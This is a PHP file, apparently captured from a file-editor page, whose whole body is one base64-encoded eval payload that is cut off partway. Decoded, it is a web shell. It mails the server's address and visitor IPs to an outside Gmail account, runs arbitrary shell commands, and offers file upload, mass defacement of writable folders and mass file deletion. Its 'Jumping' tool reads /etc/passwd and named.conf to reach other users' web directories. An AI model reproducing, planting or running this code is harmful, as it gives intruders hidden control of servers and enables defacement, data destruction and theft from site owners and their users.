관리-도구
편집 파일: 1r19.php
<?php eval("?>".base64_decode("PGh0bWw+CiA8aGVhZD4KPGxpbmsgaHJlZj0iaHR0cHM6Ly9mb250cy5nb29nbGVhcGlzLmNvbS9jc3M/ZmFtaWx5PUdsb3JpYStIYWxsZWx1amFofFBhdHJpY2srSGFuZHxEcm9pZCtTYW5zK01vbm8iIHJlbD0ic3R5bGVzaGVldCI+CiA8bGluayBocmVmPSdodHRwOi8vcmVzN29jay5vcmcvYXNzZXRzL2ltZy9mYXZpY29uLnBuZycgcmVsPSdzaG9ydGN1dCBpY29uJyBhbHQ9J2ljb24nPgogPHRpdGxlPjwvdGl0bGU+CiA8Y2VudGVyPjxoMT48L2gxPjwvY2VudGVyPgogPGNlbnRlcj48aW1nIHNyYz0iaHR0cHM6Ly9jZG4tY21zLmYtc3RhdGljLm5ldC91cGxvYWRzLzczMjAzMS84MDBfNTlmNGRlMTMwYjk5OS5qcGciIHdpZHRoPSIyNTBweCIgaGVpZ2h0PSIyNTBweCI+PC9jZW50ZXI+CiA8bWV0YSBuYW1lPSdhdXRob3InIGNvbnRlbnQ9J05nZW50b2QgTG8nPgogPG1ldGEgY2hhcnNldD0iVVRGLTgiPgo8bWV0YSBwcm9wZXJ0eT0ib2c6aW1hZ2UiIGNvbnRlbnQ9Imh0dHA6Ly9vaTY2LnRpbnlwaWMuY29tL3puMHhzLmpwZyIgYWx0PSI1MzQzMDEwNS01NTc1MDQyMTQ3NzAwMTItMjQxNDU0ODUyNjU3MjgxNDMzMi1uIiAiPSIiPgo8bWV0YSBuYW1lPSJEZXNjcmlwdGlvbiIgY29udGVudD0iTXIuUm0xOS4uLi4iPgo8bGluayBocmVmPSIiIHJlbD0ic3R5bGVzaGVldCIgdHlwZT0idGV4dC9jc3MiPgo8c3R5bGU+CmJvZHl7CiAgICAgICBmb250LWZhbWlseTogJ0Ryb2lkIFNhbnMgTW9ubycsIGN1cnNpdmU7CgliYWNrZ3JvdW5kLWltYWdlOiB1cmwoIiIpOwoJY29sb3I6I0RCREJEQjsKCWJhY2tncm91bmQtYXR0YWNobWVudDpmaXhlZDsKCWJhY2tncm91bmQtcmVwZWF0Om5vLXJlcGVhdDsKCWJhY2tncm91bmQtcG9zaXRpb246Y2VudGVyOwoJYmFja2dyb3VuZC1jb2xvcjojMDAwOwoJLXdlYmtpdC1iYWNrZ3JvdW5kLXNpemU6IDEwMCUgMTAwJTsKfQojY29udGVudCB0cjpob3ZlcnsKYmFja2dyb3VuZC1jb2xvcjogIzY2NjY2NjsKfQojY29udGVudCAuZmlyc3R7CmJhY2tncm91bmQtY29sb3I6ICM2NjY2NjY7Cn0KdGh7CmhlaWdodDogNTBweDsKfQphewpjb2xvcjogI0RCREJEQjsKdGV4dC1kZWNvcmF0aW9uOiBub25lOwpmb250LWZhbWlseTogJ0Ryb2lkIFNhbnMgTW9ubycsIGN1cnNpdmU7Cn0KYTpob3ZlcnsKY29sb3I6I0FEQURBRDsKfQppbnB1dCxzZWxlY3R7CmNvbG9yOiMwMDA7CmJhY2tncm91bmQtY29sb3I6I0QwRDVENTsKYm9yZGVyOiAxcHggI0FEQURBRCBzb2xpZDsKLW1vei1ib3JkZXItcmFkaXVzOiAzcHg7Ci13ZWJraXQtYm9yZGVyLXJhZGl1czozcHg7CmJvcmRlci1yYWRpdXM6M3B4OwpwYWRkaW5nOiAycHg7Cn0KdGV4dGFyZWF7CmJhY2tncm91bmQtY29sb3I6dHJhbnNwYXJlbnQ7CmJvcmRlcjogMXB4ICNEMEQ1RDUgc29saWQ7CmNvbG9yOiNBREFEQUQ7Cn0KLnRvbWJvbHN7CmJhY2tncm91bmQ6ICNEMEQ1RDU7CmNvbG9yOiMwMDA7CmJvcmRlci10b3A6MDsKYm9yZGVyLWxlZnQ6MDsKYm9yZGVyLXJpZ2h0OjA7CmJvcmRlcjogMXB4ICNBREFEQUQgc29saWQ7CnBhZGRpbmc6NXB4IDZweDsKdGV4dC1kZWNvcmF0aW9uOm5vbmU7CmZvbnQtZmFtaWx5OiAnRHJvaWQgU2FucyBNb25vJywgY3Vyc2l2ZTsKYm9yZGVyLXJhZGl1czoycHg7Cn0KLnRvbWJvbHM6aG92ZXJ7CmJhY2tncm91bmQtY29sb3I6I0FEQURBRDsKY29sb3I6IzAwMDsKfQpoMXsKY29sb3I6cmVkOwpmb250LWZhbWlseTogJ0dsb3JpYSBIYWxsZWx1amFoJywgY3Vyc2l2ZTsKfQo8L3N0eWxlPgo8L2hlYWQ+CjxsaW5rIGhyZWY9Imh0dHBzOi8vZm9udHMuZ29vZ2xlYXBpcy5jb20vY3NzP2ZhbWlseT1Db3VyZ2V0dGUiIHJlbD0ic3R5bGVzaGVldCI+CjxsaW5rIGhyZWY9Imh0dHBzOi8vZm9udHMuZ29vZ2xlYXBpcy5jb20vY3NzP2ZhbWlseT1TYXJwYW5jaHxUZWtvIiByZWw9InN0eWxlc2hlZXQiPgo8P3BocApzZXRfdGltZV9saW1pdCgwKTsKZXJyb3JfcmVwb3J0aW5nKDApOwpAaW5pX3NldCgnb3V0cHV0X2J1ZmZlcmluZycsIDApOwpAaW5pX3NldCgnZGlzcGxheV9lcnJvcnMnLCAwKTsKc2V0X3RpbWVfbGltaXQoMCk7CmluaV9zZXQoJ21lbW9yeV9saW1pdCcsICc2NE0nKTsKaGVhZGVyKCdDb250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCcpOwokdHVqdWFubWFpbCA9ICdyYW1kYW4xOWlkQGdtYWlsLmNvbSc7CiR4X3BhdGggPSAiaHR0cDovLyIgLiAkX1NFUlZFUlsnU0VSVkVSX05BTUUnXSAuICRfU0VSVkVSWydSRVFVRVNUX1VSSSddOwokcGVzYW5fYWxlcnQgPSAiZml4ICR4X3BhdGggOnAgKklQIEFkZHJlc3MgOiBbICIgLiAkX1NFUlZFUlsnUkVNT1RFX0FERFInXSAuICIgXSI7Cm1haWwoJHR1anVhbm1haWwsICJMT0dHRVIiLCAkcGVzYW5fYWxlcnQsICJbICIgLiAkX1NFUlZFUlsnUkVNT1RFX0FERFInXSAuICIgXSIpOwoKLy9mdW5jdGlvbgpmdW5jdGlvbiBhbWJpbEthdGEoJHBhcmFtLCAka2F0YTEsICRrYXRhMil7CiAgIGlmKHN0cnBvcygkcGFyYW0sICRrYXRhMSkgPT09IEZBTFNFKSByZXR1cm4gRkFMU0U7CiAgIGlmKHN0cnBvcygkcGFyYW0sICRrYXRhMikgPT09IEZBTFNFKSByZXR1cm4gRkFMU0U7CiAgICRzdGFydCA9IHN0cnBvcygkcGFyYW0sICRrYXRhMSkgKyBzdHJsZW4oJGthdGExKTsKICAgJGVuZCA9IHN0cnBvcygkcGFyYW0sICRrYXRhMiwgJHN0YXJ0KTsKICAgJHJldHVybiA9IHN1YnN0cigkcGFyYW0sICRzdGFydCwgJGVuZCAtICRzdGFydCk7CiAgIHJldHVybiAkcmV0dXJuOwp9CmlmKGdldF9tYWdpY19xdW90ZXNfZ3BjKCkpIHsKICAgZnVuY3Rpb24gaWR4X3NzKCRhcnJheSkgewpyZXR1cm4gaXNfYXJyYXkoJGFycmF5KSA/IGFycmF5X21hcCgnaWR4X3NzJywgJGFycmF5KSA6IHN0cmlwc2xhc2hlcygkYXJyYXkpOwogICB9CiAgICRfUE9TVCA9IGlkeF9zcygkX1BPU1QpOwp9CmZ1bmN0aW9uIGhkZCgkcykgewogICBpZigkcyA+PSAxMDczNzQxODI0KQogICByZXR1cm4gc3ByaW50ZignJTEuMmYnLCRzIC8gMTA3Mzc0MTgyNCApLicgR0InOwogICBlbHNlaWYoJHMgPj0gMTA0ODU3NikKICAgcmV0dXJuIHNwcmludGYoJyUxLjJmJywkcyAvIDEwNDg1NzYgKSAuJyBNQic7CiAgIGVsc2VpZigkcyA+PSAxMDI0KQogICByZXR1cm4gc3ByaW50ZignJTEuMmYnLCRzIC8gMTAyNCApIC4nIEtCJzsKICAgZWxzZQogICByZXR1cm4gJHMgLicgQic7Cn0KZnVuY3Rpb24gZXhlKCRjbWQpIHsKICAgaWYoZnVuY3Rpb25fZXhpc3RzKCdzeXN0ZW0nKSkgeyAgICAgICAgCkBvYl9zdGFydCgpOyAgICAgICAKQHN5c3RlbSgkY21kKTsgICAgIAokYnVmZiA9IEBvYl9nZXRfY29udGVudHMoKTsgICAgICAgIApAb2JfZW5kX2NsZWFuKCk7ICAgICAgIApyZXR1cm4gJGJ1ZmY7ICAKICAgfSBlbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdleGVjJykpIHsgICAgICAgIApAZXhlYygkY21kLCRyZXN1bHRzKTsgICAgICAKJGJ1ZmYgPSAiIjsgICAgICAgIApmb3JlYWNoKCRyZXN1bHRzIGFzICRyZXN1bHQpIHsgICAgICAgICAKICAgJGJ1ZmYgLj0gJHJlc3VsdDsgICAgICAKfSByZXR1cm4gJGJ1ZmY7ICAgIAogICB9IGVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3Bhc3N0aHJ1JykpIHsgICAgICAgIApAb2Jfc3RhcnQoKTsgICAgICAgCkBwYXNzdGhydSgkY21kKTsgICAgICAgCiRidWZmID0gQG9iX2dldF9jb250ZW50cygpOyAgICAgICAgCkBvYl9lbmRfY2xlYW4oKTsgICAgICAgCnJldHVybiAkYnVmZjsgIAogICB9IGVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3NoZWxsX2V4ZWMnKSkgeyAgICAgIAokYnVmZiA9IEBzaGVsbF9leGVjKCRjbWQpOyAgICAgCnJldHVybiAkYnVmZjsgIAogICB9Cn0KLy9jaGVjayBkaXIKJG5pY2sgPSAiM1gwUkMxU1QiOwppZihpc3NldCgkX0dFVFsncGF0aCddKSl7CiRwYXRoID0gJF9HRVRbJ3BhdGgnXTsKfWVsc2V7CiRwYXRoID0gZ2V0Y3dkKCk7Cn0KJHNvZnR3YXJlID0gZ2V0ZW52KCJTRVJWRVJfU09GVFdBUkUiKTsKJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCcvJywkcGF0aCk7CiRwYXRocyA9IGV4cGxvZGUoJy8nLCRwYXRoKTsKJGRpciA9IHN0cl9yZXBsYWNlKCJcXCIsIi8iLCRkaXIpOwokc2NkaXIgPSBleHBsb2RlKCIvIiwgJGRpcik7CiRmcmVlc3BhY2UgPSBoZGQoZGlza19mcmVlX3NwYWNlKCIvIikpOwokdG90YWwgPSBoZGQoZGlza190b3RhbF9zcGFjZSgiLyIpKTsKJHVzZWQgPSAkdG90YWwgLSAkZnJlZXNwYWNlOwppZighZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRlZ2lkJykpIHsKICAgJHVzZXIgPSBAZ2V0X2N1cnJlbnRfdXNlcigpOwogICAkdWlkID0gQGdldG15dWlkKCk7CiAgICRnaWQgPSBAZ2V0bXlnaWQoKTsKICAgJGdyb3VwID0gIj8iOwp9IGVsc2UgewogICAkdWlkID0gQHBvc2l4X2dldHB3dWlkKHBvc2l4X2dldGV1aWQoKSk7CiAgICRnaWQgPSBAcG9zaXhfZ2V0Z3JnaWQocG9zaXhfZ2V0ZWdpZCgpKTsKICAgJHVzZXIgPSAkdWlkWyduYW1lJ107CiAgICR1aWQgPSAkdWlkWyd1aWQnXTsKICAgJGdyb3VwID0gJGdpZFsnbmFtZSddOwogICAkZ2lkID0gJGdpZFsnZ2lkJ107Cn0gCi8vdW5hbWUKZWNobyAiPGNlbnRlcj48Zm9udCBjb2xvcj0jRDBENUQ1IHNpemU9Mj5TeXN0ZW0gOiA8Zm9udCBjb2xvcj0jNTJDRjM4PiIucGhwX3VuYW1lKCkuIjwvZm9udD48L2ZvbnQ+PGJyPiI7CmVjaG8gIjxjZW50ZXI+PGZvbnQgY29sb3I9I0QwRDVENSBzaXplPTI+VGltZSBPbiBTZXJ2ZXIgOiA8Zm9udCBjb2xvcj0jNTJDRjM4PiIuZGF0ZSgiZCBNIFkgSDppOnMiLHRpbWUoKSkuIjwvZm9udD48L2ZvbnQ+PGJyPiI7CmVjaG8gIjxjZW50ZXI+PGZvbnQgY29sb3I9I0QwRDVENSBzaXplPTI+U2VydmVyIElQIDogPGZvbnQgY29sb3I9IzUyQ0YzOD4iLmdldGhvc3RieW5hbWUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4iPGZvbnQgY29sb3I9I0QwRDVENT4gfCBZb3VyIElQIDogPGZvbnQgY29sb3I9IzUyQ0YzOD4iLiRfU0VSVkVSWydSRU1PVEVfQUREUiddLiI8L2ZvbnQ+PC9mb250Pjxicj4iOwplY2hvICI8Y2VudGVyPjxmb250IGNvbG9yPSNEMEQ1RDUgc2l6ZT0yPlVzZXIgOiA8Zm9udCBjb2xvcj0jNTJDRjM4PiIuJHVzZXIuIjwvZm9udD4gKCIuJHVpZC4iKSBHcm91cCA6IDxmb250IGNvbG9yPSM1MkNGMzg+Ii4kZ3JvdXAuIjwvZm9udD4gKCIuJGdpZC4iKTxicj48L2ZvbnQ+IjsKZWNobyAiPGJyPjxjZW50ZXI+PGZvbnQgY29sb3I9I0QwRDVENSBzaXplPTM+Q3VycmVudCBEaXIgOiA8L2ZvbnQ+IjsKZm9yZWFjaCgkcGF0aHMgYXMgJGlkPT4kcGF0KXsKaWYoJHBhdCA9PSAnJyAmJiAkaWQgPT0gMCl7CiRhID0gdHJ1ZTsKZWNobyAnPGEgaHJlZj0iP3BhdGg9LyI+LzwvYT4nOwpjb250aW51ZTsKfQppZigkcGF0ID09ICcnKSBjb250aW51ZTsKZWNobyAnPGEgaHJlZj0iP3BhdGg9JzsKZm9yKCRpPTA7JGk8PSRpZDskaSsrKXsKZWNobyAiJHBhdGhzWyRpXSI7CmlmKCRpICE9ICRpZCkgZWNobyAiLyI7Cn0KZWNobyAnIj48Zm9udCBjb2xvcj0jRDBENUQ1IHNpemU9Mz4nLiRwYXQuJzwvZm9udD48L2E+Lyc7Cn0KCiNUT09MQkFSCmVjaG8gIjxociBjb2xvcj0jNjY2NjY2Pgo8YnI+PC9jZW50ZXI+Cjxmb250IHNpemU9Mz48YSBocmVmPSc/JyBjbGFzcz0ndG9tYm9scyc+SG9tZTwvYT4KPGZvbnQgc2l6ZT0zPjxhIGhyZWY9Jz9wYXRoPSRwYXRoJmpvbWJsbz1tYXNzX2RlZmFjZScgY2xhc3M9J3RvbWJvbHMnPk1hc3MgRGVmYWNlPC9hPgo8Zm9udCBzaXplPTM+PGEgaHJlZj0nP3BhdGg9JHBhdGgmam9tYmxvPWNvbmZpZycgY2xhc3M9J3RvbWJvbHMnPkNvbmZpZzwvYT4KPGZvbnQgc2l6ZT0zPjxhIGhyZWY9Jz9wYXRoPSRwYXRoJmpvbWJsbz1tYXNzX2RlbGV0ZScgY2xhc3M9J3RvbWJvbHMnPk1hc3MgRGVsZXRlPC9hPjxicj48YnI+Cjxmb250IHNpemU9Mz48YSBocmVmPSc/cGF0aD0kcGF0aCZqb21ibG89dXBsb2FkJyBjbGFzcz0ndG9tYm9scyc+VXBsb2FkPC9hPgo8Zm9udCBzaXplPTM+PGEgaHJlZj0nP3BhdGg9JHBhdGgmam9tYmxvPWp1bXBpbmcnIGNsYXNzPSd0b21ib2xzJz5KdW1waW5nPC9hPgo8Zm9udCBzaXplPTM+PGEgaHJlZj0nP3BhdGg9JHBhdGgmam9tYmxvPXN5bWxpbmsnIGNsYXNzPSd0b21ib2xzJz5TeW1saW5rPC9hPgo8L2NlbnRlcj48YnI+CjxociBjb2xvcj0jNjY2NjY2PjxjZW50ZXI+IjsKCi8qdXBsb2FkcyovCmlmKCRfR0VUWydqb21ibG8nXSA9PSAndXBsb2FkJykgewppZihpc3NldCgkX0ZJTEVTWydmaWxlJ10pKXsKaWYoY29weSgkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ10sJHBhdGguJy8nLiRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddKSl7CmVjaG8gJzxmb250IGNvbG9yPSIjNTJDRjM4Ij5VcGxvYWQgU3Vrc2VzIFNlbnBhaSEhPC9mb250PjxiciAvPic7Cn1lbHNlewplY2hvICc8Zm9udCBjb2xvcj0iIzY2NjY2NiI+VXBsb2FkIEdhZ2FsIFNlbnBhaSEhPC9mb250PjxiciAvPic7Cn0KfQplY2hvICc8Zm9ybSBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiPjxmb250IGNvbG9yPSIjRDBENUQ1IiBzaXplPSI0Ij48YnI+ClVwbG9hZCBGaWxlIDo8YnI+PGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9ImZpbGUiIC8+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJVcGxvYWQiIC8+CjwvZm9ybT48YnI+CjwvdGQ+PC90cj4nOwkKCi8vTUFTUyBEZWZhY2UKfSBlbHNlaWYoaXNzZXQoJF9HRVRbJ2pvbWJsbyddKSAmJiAoJF9HRVRbJ2pvbWJsbyddID09ICdtYXNzX2RlZmFjZScpKXsKCWZ1bmN0aW9uIHNhYnVuX21hc3NhbCgkZGlyLCRuYW1hZmlsZSwkaXNpX3NjcmlwdCkgewoJCWZvcmVhY2goJGogYXMgJGxva2FzaSkKCQlpZihpc193cml0YWJsZSgkZGlyKSkgewoJCQkkZGlyYSA9IHNjYW5kaXIoJGRpcik7CgkJCWZvcmVhY2goJGRpcmEgYXMgJGRpcmIpIHsKCQkJCSRkaXJjID0gIiRkaXIvJGRpcmIiOwoJCQkJJGxva2FzaSA9ICRkaXJjLicvJy4kbmFtYWZpbGU7CgkJCQlpZigkZGlyYiA9PT0gJy4nKSB7CgkJCQkJZmlsZV9wdXRfY29udGVudHMoJGxva2FzaSwgJGlzaV9zY3JpcHQpOwoJCQkJfSBlbHNlaWYoJGRpcmIgPT09ICcuLicpIHsKCQkJCQlmaWxlX3B1dF9jb250ZW50cygkbG9rYXNpLCAkaXNpX3NjcmlwdCk7CgkJCQl9IGVsc2UgewoJCQkJCWlmKGlzX2RpcigkZGlyYykpIHsKCQkJCQkJaWYoaXNfd3JpdGFibGUoJGRpcmMpKSB7CgkJCQkJCQkKCQkJCQkJCWVjaG8gIls8Zm9udCBjb2xvcj0jNTJDRjM4PlNlbGVzYWk8L2ZvbnQ+XSAkbG9rYXNpPGJyPiI7CgkJCQkJCQlmaWxlX3B1dF9jb250ZW50cygkbG9rYXNpLCAkaXNpX3NjcmlwdCk7CgkJCQkJCQkkaWR4ID0gc2FidW5fbWFzc2FsKCRkaXJjLCRuYW1hZmlsZSwkaXNpX3NjcmlwdCk7CgkJCQkJCX0KCQkJCQl9CgkJCQl9CgkJCX0KCQl9Cgl9CglmdW5jdGlvbiBzYWJ1bl9iaWFzYSgkZGlyLCRuYW1hZmlsZSwkaXNpX3NjcmlwdCkgewoJCWlmKGlzX3dyaXRhYmxlKCRkaXIpKSB7CgkJCSRkaXJhID0gc2NhbmRpcigkZGlyKTsKCQkJZm9yZWFjaCgkZGlyYSBhcyAkZGlyYikgewoJCQkJJGRpcmMgPSAiJGRpci8kZGlyYiI7CgkJCQkkbG9rYXNpID0gJGRpcmMuJy8nLiRuYW1hZmlsZTsKCQkJCWlmKCRkaXJiID09PSAnLicpIHsKCQkJCQlmaWxlX3B1dF9jb250ZW50cygkbG9rYXNpLCAkaXNpX3NjcmlwdCk7CgkJCQl9IGVsc2VpZigkZGlyYiA9PT0gJy4uJykgewoJCQkJCWZpbGVfcHV0X2NvbnRlbnRzKCRsb2thc2ksICRpc2lfc2NyaXB0KTsKCQkJCX0gZWxzZSB7CgkJCQkJaWYoaXNfZGlyKCRkaXJjKSkgewoJCQkJCQlpZihpc193cml0YWJsZSgkZGlyYykpIHsKCQkJCQkJCWVjaG8gIls8Zm9udCBjb2xvcj0jNTJDRjM4PlNlbGVzYWk8L2ZvbnQ+XSAkZGlyYi8kbmFtYWZpbGU8YnI+IjsKCQkJCQkJCWZpbGVfcHV0X2NvbnRlbnRzKCRsb2thc2ksICRpc2lfc2NyaXB0KTsKCQkJCQkJfQoJCQkJCX0KCQkJCX0KCQkJfQoJCX0KCX0KCWlmKCRfUE9TVFsnc3RhcnQnXSkgewoJCWlmKCRfUE9TVFsndGlwZV9zYWJ1biddID09ICdtYWhhbCcpIHsKCQkJZWNobyAiPGRpdiBzdHlsZT0nbWFyZ2luOiA1cHggYXV0bzsgcGFkZGluZzogNXB4Jz4iOwoJCQlzYWJ1bl9tYXNzYWwoJF9QT1NUWydkX2RpciddLCAkX1BPU1RbJ2RfZmlsZSddLCAkX1BPU1RbJ3NjcmlwdCddKTsKCQkJZWNobyAiPC9kaXY+IjsKCQl9IGVsc2VpZigkX1BPU1RbJ3RpcGVfc2FidW4nXSA9PSAnbXVyYWgnKSB7CgkJCWVjaG8gIjxkaXYgc3R5bGU9J21hcmdpbjogNXB4IGF1dG87IHBhZGRpbmc6IDVweCc+IjsKCQkJc2FidW5fYmlhc2EoJF9QT1NUWydkX2RpciddLCAkX1BPU1RbJ2RfZmlsZSddLCAkX1BPU1RbJ3NjcmlwdCddKTsKCQkJZWNobyAiPC9kaXY+IjsKCQl9Cgl9IGVsc2UgewoJZWNobyAiPGNlbnRlcj4iOwoJZWNobyAiPGZvcm0gbWV0aG9kPSdwb3N0Jz4KCTxmb250PlR5cGUgIFNhYnVuIDo8L2ZvbnQ+PGJyPgoJPGlucHV0IHR5cGU9J3JhZGlvJyBuYW1lPSd0aXBlX3NhYnVuJyB2YWx1ZT0nbXVyYWgnIGNoZWNrZWQ+Qmlhc2E8aW5wdXQgdHlwZT0ncmFkaW8nIG5hbWU9J3RpcGVfc2FidW4nIHZhbHVlPSdtYWhhbCc+TWFzc2FsPGJyPgoJPGZvbnQ+Rm9sZGVyIDo8L2ZvbnQ+PGJyPgoJPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J2RfZGlyJyB2YWx1ZT0nJHBhdGgnIHN0eWxlPSd3aWR0aDogNDUwcHg7JyBoZWlnaHQ9JzEwJz48YnI+Cgk8Zm9udD5GaWxlbmFtZSA6PC9mb250Pjxicj4KCTxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdkX2ZpbGUnIHZhbHVlPSdqZWZyaWdhbnRlbmcucGhwJyBzdHlsZT0nd2lkdGg6IDQ1MHB4OycgaGVpZ2h0PScxMCc+PGJyPgoJPGZvbnQ+SW5kZXggRmlsZSA6PC9mb250Pjxicj4KCTx0ZXh0YXJlYSBuYW1lPSdzY3JpcHQnIHN0eWxlPSd3aWR0aDogNDUwcHg7IGhlaWdodDogMjAwcHg7Jz5QYXN0ZWthbiBTY3JpcHQgZGVmYWNlIEthbGlhbiBkaXNpbmkhPC90ZXh0YXJlYT48YnI+Cgk8aW5wdXQgdHlwZT0nc3VibWl0JyBuYW1lPSdzdGFydCcgdmFsdWU9J01hc3MgRGVmYWNlJyBzdHlsZT0nd2lkdGg6IDQ1MHB4Oyc+Cgk8L2Zvcm0+PC9jZW50ZXI+IjsKCX0KCX0KCi8vTUFTUyBERUxFVEUvLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vCmVsc2VpZigkX0dFVFsnam9tYmxvJ10gPT0gJ21hc3NfZGVsZXRlJykgewogICBmdW5jdGlvbiBoYXB1c19tYXNzYWwoJGRpciwkbmFtYWZpbGUpIHsKaWYoaXNfd3JpdGFibGUoJGRpcikpIHsKICAgJGRpcmEgPSBzY2FuZGlyKCRkaXIpOwogICBmb3JlYWNoKCRkaXJhIGFzICRkaXJiKSB7CiAgICAgICAkZGlyYyA9ICIkZGlyLyRkaXJiIjsKICAgICAgICRsb2thc2kgPSAkZGlyYy4nLycuJG5hbWFmaWxlOwogICAgICAgaWYoJGRpcmIgPT09ICcuJykgewogICAgICAgICAgIGlmKGZpbGVfZXhpc3RzKCIkZGlyLyRuYW1hZmlsZSIpKSB7CiAgICAgICAgICAgICAgIHVubGluaygiJGRpci8kbmFtYWZpbGUiKTsKICAgICAgICAgICB9CiAgICAgICB9IGVsc2VpZigkZGlyYiA9PT0gJy4uJykgewogICAgICAgICAgIGlmKGZpbGVfZXhpc3RzKCIiLmRpcm5hbWUoJGRpcikuIi8kbmFtYWZpbGUiKSkgewogICAgICAgICAgICAgICB1bmxpbmsoIiIuZGlybmFtZSgkZGlyKS4iLyRuYW1hZmlsZSIpOwogICAgICAgICAgIH0KICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgaWYoaXNfZGlyKCRkaXJjKSkgewogICAgICAgICAgICAgICBpZihpc193cml0YWJsZSgkZGlyYykpIHsKICAgICAgICAgICAgICAgICAgIGlmKGZpbGVfZXhpc3RzKCRsb2thc2kpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiWzxmb250IGNvbG9yPSM1MkNGMzg+VGVyaGFwdXM8L2ZvbnQ+XSAkbG9rYXNpPGJyPiI7CiAgICAgICAgICAgICAgICAgICAgICAgdW5saW5rKCRsb2thc2kpOwogICAgICAgICAgICAgICAgICAgICAgICRpZHggPSBoYXB1c19tYXNzYWwoJGRpcmMsJG5hbWFmaWxlKTsKICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgfQogICAgICAgICAgIH0KICAgICAgIH0KICAgfQp9CiAgIH0KICAgaWYoJF9QT1NUWydzdGFydCddKSB7CmVjaG8gIjxkaXYgc3R5bGU9J21hcmdpbjogNXB4IGF1dG87IHBhZGRpbmc6IDVweCc+IjsKaGFwdXNfbWFzc2FsKCRfUE9TVFsnZF9kaXInXSwgJF9QT1NUWydkX2ZpbGUnXSk7CmVjaG8gIjwvZGl2PiI7CiAgIH0gZWxzZSB7CiAgIGVjaG8gIjxjZW50ZXI+IjsKICAgZWNobyAiPGZvcm0gbWV0aG9kPSdwb3N0Jz4KICAgPGZvbnQ+Rm9sZGVyIDo8L2ZvbnQ+PGJyPgogICA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nZF9kaXInIHZhbHVlPSckcGF0aCcgc3R5bGU9J3dpZHRoOiA0NTBweDsnIGhlaWdodD0nMTAnPjxicj4KICAgPGZvbnQ+RmlsZW5hbWUgOjwvZm9udD48YnI+CiAgIDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdkX2ZpbGUnIHZhbHVlPSdqZWZyaWdhbnRlbmcucGhwJyBzdHlsZT0nd2lkdGg6IDQ1MHB4OycgaGVpZ2h0PScxMCc+PGJyPgogICA8aW5wdXQgdHlwZT0nc3VibWl0JyBuYW1lPSdzdGFydCcgdmFsdWU9J01hc3MgRGVsZXRlJyBzdHlsZT0nd2lkdGg6IDQ1MHB4Oyc+CiAgIDwvZm9ybT48L2NlbnRlcj4iOwogICB9CgojI0pVTVBJTkcgCn0gZWxzZWlmKCRfR0VUWydqb21ibG8nXSA9PSAnanVtcGluZycpIHsKICAgJGkgPSAwOwogICBlY2hvICI8cHJlPjxkaXYgY2xhc3M9J21hcmdpbjogNXB4IGF1dG87Jz4iOwogICAkZXRjID0gZm9wZW4oIi9ldGMvcGFzc3dkIiwgInIiKSBvciBkaWUoIjxmb250IGNvbG9yPSM2NjY2NjY+Q2FuJ3QgcmVhZCAvZXRjL3Bhc3N3ZDwvZm9udD4iKTsKICAgd2hpbGUoJHBhc3N3ZCA9IGZnZXRzKCRldGMpKSB7CmlmKCRwYXNzd2QgPT0gJycgfHwgISRldGMpIHsKICAgZWNobyAiPGZvbnQgY29sb3I9IzY2NjY2Nj5DYW4ndCByZWFkIC9ldGMvcGFzc3dkPC9mb250PiI7Cn0gZWxzZSB7CiAgIHByZWdfbWF0Y2hfYWxsKCcvKC4qPyk6eDovJywgJHBhc3N3ZCwgJHVzZXJfanVtcGluZyk7CiAgIGZvcmVhY2goJHVzZXJfanVtcGluZ1sxXSBhcyAkdXNlcl9qZWZyaV9qdW1wKSB7CiAgICAgICAkdXNlcl9qdW1waW5nX2RpciA9ICIvaG9tZS8kdXNlcl9qZWZyaV9qdW1wL3B1YmxpY19odG1sIjsKICAgICAgIGlmKGlzX3JlYWRhYmxlKCR1c2VyX2p1bXBpbmdfZGlyKSkgewogICAgICAgICAgICRpKys7CiAgICAgICAgICAgJGpydyA9ICJbPGZvbnQgY29sb3I9IzUyQ0YzOD5SPC9mb250Pl0gPGEgaHJlZj0nP2Rpcj0kdXNlcl9qdW1waW5nX2Rpcic+PGZvbnQgY29sb3I9I0QwRDVENT4kdXNlcl9qdW1waW5nX2RpcjwvZm9udD48L2E+IjsKICAgICAgICAgICBpZihpc193cml0YWJsZSgkdXNlcl9qdW1waW5nX2RpcikpIHsKICAgICAgICAgICAgICAgJGpydyA9ICJbPGZvbnQgY29sb3I9IzUyQ0YzOD5SVzwvZm9udD5dIDxhIGhyZWY9Jz9kaXI9JHVzZXJfanVtcGluZ19kaXInPjxmb250IGNvbG9yPSNEMEQ1RDU+JHVzZXJfanVtcGluZ19kaXI8L2ZvbnQ+PC9hPiI7CiAgICAgICAgICAgfQogICAgICAgICAgIGVjaG8gJGpydzsKICAgICAgICAgICBpZihmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldHB3dWlkJykpIHsKICAgICAgICAgICAgICAgJGRvbWFpbl9qdW1wID0gZmlsZV9nZXRfY29udGVudHMoIi9ldGMvbmFtZWQuY29uZiIpOyAgIAogICAgICAgICAgICAgICBpZigkZG9tYWluX2p1bXAgPT0gJycpIHsKICAgICAgICAgICAgICAgICAgIGVjaG8gIiA9PiAoIDxmb250IGNvbG9yPSM2NjY2NjY+Z2FnYWwgbWVuZ2FtYmlsIG5hbWEgZG9tYWluIG55YTwvZm9udD4gKTxicj4iOwogICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgcHJlZ19tYXRjaF9hbGwoIiMvdmFyL25hbWVk